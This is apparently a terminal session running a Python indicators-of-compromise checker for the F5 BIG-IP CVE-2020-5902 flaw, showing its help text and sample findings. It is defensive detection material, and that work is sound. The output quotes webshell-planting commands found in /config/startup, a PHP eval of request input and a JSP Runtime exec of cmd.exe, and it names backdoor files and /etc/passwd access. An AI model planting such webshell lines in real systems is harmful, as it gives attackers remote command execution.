[root@hostname:Active:Standalone] tmp # python CVE-2020-5902_bigip_ioc_checker.py -h
USAGE: python CVE-2020-5902_bigip_ioc_checker.py

You can use the following options <-iajylcbwut> to skip some checks:

Option: -i or --skip_sys-eicheck
[+] Skip using the sys_eicheck utility to scan the BIG-IP system for any unexpected changes to the system software.
[+] Please refer to https://support.f5.com/csp/article/K00029945for more details about the sys-eicheck utility.
[+] The sys-eicheck utility may take several minutes to finish.

Option: -a or --skip_audit_check        [+] Skip scanning the audit log for malicious activities.
Option: -j or --skip_journal_check      [+] Skip scanning the journal log for malicious activities.
Option: -y or --skip_systems_check      [+] Skip scanning /config/bigip_user.conf to look for malicious users.
Option: -l or --skip_alias_check        [+] Skip scanning /config/bigip_*.conf for malicious alias definition.
Option: -c or --skip_catalina_check     [+] Skip scanning the tomcat catalina.out log for malicious activities.
Option: -b or --skip_bigipstartup_check [+] Skip checking if /config/startup contains blacklisted words.
Option: -w or --skip_webshell_check     [+] Skip checking Files created after 2020 Jun 29 in the /usr/local/www/ to look for possible webshell files.
Option: -u or --skip_autostart_check    [+] Skip checking Files created after 2020 Jun 29 in /etc/ to look for the possible autostart script.
Option: -t or --skip_tmp_check          [+] Skip checking Files created after 2020 Jun 29 in /tmp
Option: -p or --disable_color_print     [+] Disable color print, better for saving result
Option: -q or --bigiq_cmd_check         [+] Run BIG-IQ compatible malicious command check

Option: -h or --help                    [+] Print usage

# python CVE-2020-5902_bigip_ioc_checker.py -iqa
>>>> Skip sys-eicheck check
>>>> Run BIG-IQ compatible malicious command check
>>>> Skip audit log check
CVE-2020-5902 Indicators of Compromise checker. False positive reports are possible and all results should be manually verified.
[+] Version 13.1.0 Build 0.0.1868 CVE-2020-5902 Fixed: False
!! IoC pattern ['/etc/fakefile', '/etc/passwd', '/etc/fakefile1'] access denied in file /var/log/tomcat/catalina.out
!! IoC pattern ['/config/bigip_base.conf'] access denied in file /var/log/tomcat/catalina.out.1
!! IoC pattern Possible backdoor echo "<?php eval(\$_REQUEST[09ede7]);" > /usr/local/www/xui/common/css/webshell.php in file /config/startup
!! IoC pattern Possible backdoor echo "Runtime.getRuntime().exec("cmd.exe /C " + cmd);" > /usr/local/www/xui/common/css/webshell.jsp in file /config/startup

[+]==========================  auto start script checking  ==========================
!! Files created in /etc/ after 2020 Jun 29, need to check if those are malicious daemon startup script
 95291    1 -rw-r--r--   1 root     root            0 Jul 20 14:49 /etc/rc.d/init.d/autostartbackdoor
104847    4 -rw-------   1 root     root          199 Jul 13 10:46 /var/spool/cron/root


[+]================================  /tmp/ checking  ================================
!! File /tmp/backdoor_curl could be a malicous script
!! File /tmp/CVE-2020-5902_bigip_ioc_checker.py could be a malicous script
!! Files created in /tmp/ after 2020 Jun 29, need to check if those are malicious scripts
 18491   40 -rw-r--r--   1 root     root        38066 Jul 20 14:57 /tmp/CVE-2020-5902_bigip_ioc_checker.py
 18497    1 -rw-r--r--   1 root     root            0 Jul 20 14:49 /tmp/backdoor_new


[+]==============================  webshell checking  ==============================
!! Files created in /usr/local/www/ after 2020 Jun 29, need to check if those are webshell or information leakage
243368    4 -rw-r--r--   1 root     root           33 Jul 20 14:49 /usr/local/www/xui/common/css/webshell.php
243367    4 -rw-r--r--   1 root     root           33 Jul 17 08:30 /usr/local/www/xui/common/css/css.php
243369    4 -rw-r--r--   1 root     root           46 Jul 20 14:49 /usr/local/www/xui/common/css/webshell.jsp